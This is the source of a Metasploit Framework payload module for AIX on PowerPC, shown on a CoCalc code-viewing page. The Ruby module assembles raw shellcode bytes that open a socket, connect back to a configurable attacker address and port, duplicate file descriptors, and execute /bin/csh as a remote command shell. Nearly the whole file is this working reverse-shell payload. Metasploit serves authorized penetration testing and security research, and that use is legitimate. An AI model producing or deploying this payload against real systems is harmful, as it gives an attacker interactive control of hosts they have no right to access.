CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb
Views: 11779
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 204
10
11
include Msf::Payload::Single
12
include Msf::Payload::Aix
13
include Msf::Sessions::CommandShellOptions
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'AIX Command Shell, Reverse TCP Inline',
18
'Description' => 'Connect back to attacker and spawn a command shell',
19
'Author' => 'Ramon de C Valle',
20
'License' => MSF_LICENSE,
21
'Platform' => 'aix',
22
'Arch' => ARCH_PPC,
23
'Handler' => Msf::Handler::ReverseTcp,
24
'Session' => Msf::Sessions::CommandShellUnix,
25
'Payload' =>
26
{
27
'Offsets' =>
28
{
29
'LHOST' => [ 32, 'ADDR' ],
30
'LPORT' => [ 30, 'n' ],
31
},
32
}
33
))
34
35
end
36
37
def generate(*args)
38
super(*args)
39
40
payload =
41
"\x7c\xa5\x2a\x79" + # xor. r5,r5,r5 #
42
"\x40\x82\xff\xfd" + # bnel <cntsockcode> #
43
"\x7f\xc8\x02\xa6" + # mflr r30 #
44
"\x3b\xde\x01\xff" + # cal r30,511(r30) #
45
"\x3b\xde\xfe\x25" + # cal r30,-475(r30) #
46
"\x7f\xc9\x03\xa6" + # mtctr r30 #
47
"\x4e\x80\x04\x20" + # bctr #
48
"\xff\x02\x11\x5c" + # .long 0xff02115c #
49
"\x7f\x00\x00\x01" + # .long 0x7f000001 #
50
"\x4c\xc6\x33\x42" + # crorc 6,6,6 #
51
"\x44\xff\xff\x02" + # svca 0 #
52
"\x3b\xde\xff\xf8" + # cal r30,-8(r30) #
53
"\x3b\xa0\x07\xff" + # lil r29,2047 #
54
"\x38\x9d\xf8\x02" + # cal r4,-2046(r29) #
55
"\x38\x7d\xf8\x03" + # cal r3,-2045(r29) #
56
@cal_socket +
57
"\x7f\xc9\x03\xa6" + # mtctr r30 #
58
"\x4e\x80\x04\x21" + # bctrl #
59
"\x7c\x7c\x1b\x78" + # mr r28,r3 #
60
"\x38\xbd\xf8\x11" + # cal r5,-2031(r29) #
61
"\x38\x9e\xff\xf8" + # cal r4,-8(r30) #
62
@cal_connect +
63
"\x7f\xc9\x03\xa6" + # mtctr r30 #
64
"\x4e\x80\x04\x21" + # bctrl #
65
"\x3b\x7d\xf8\x03" + # cal r27,-2045(r29) #
66
"\x7f\x63\xdb\x78" + # mr r3,r27 #
67
@cal_close +
68
"\x7f\xc9\x03\xa6" + # mtctr r30 #
69
"\x4e\x80\x04\x21" + # bctrl #
70
"\x7f\x65\xdb\x78" + # mr r5,r27 #
71
"\x7c\x84\x22\x78" + # xor r4,r4,r4 #
72
"\x7f\x83\xe3\x78" + # mr r3,r28 #
73
@cal_kfcntl +
74
"\x7f\xc9\x03\xa6" + # mtctr r30 #
75
"\x4e\x80\x04\x21" + # bctrl #
76
"\x37\x7b\xff\xff" + # ai. r27,r27,-1 #
77
"\x40\x80\xff\xd4" + # bge <cntsockcode+100> #
78
"\x7c\xa5\x2a\x79" + # xor. r5,r5,r5 #
79
"\x40\x82\xff\xfd" + # bnel <cntsockcode+148> #
80
"\x7f\x08\x02\xa6" + # mflr r24 #
81
"\x3b\x18\x01\xff" + # cal r24,511(r24) #
82
"\x38\x78\xfe\x29" + # cal r3,-471(r24) #
83
"\x98\xb8\xfe\x31" + # stb r5,-463(r24) #
84
"\x94\xa1\xff\xfc" + # stu r5,-4(r1) #
85
"\x94\x61\xff\xfc" + # stu r3,-4(r1) #
86
"\x7c\x24\x0b\x78" + # mr r4,r1 #
87
@cal_execve +
88
"\x7f\xc9\x03\xa6" + # mtctr r30 #
89
"\x4e\x80\x04\x21" + # bctrl #
90
"/bin/csh"
91
92
# If the payload is generated and there are offsets to substitute,
93
# do that now.
94
if (payload and offsets)
95
substitute_vars(payload, offsets)
96
end
97
98
payload
99
end
100
end
101
102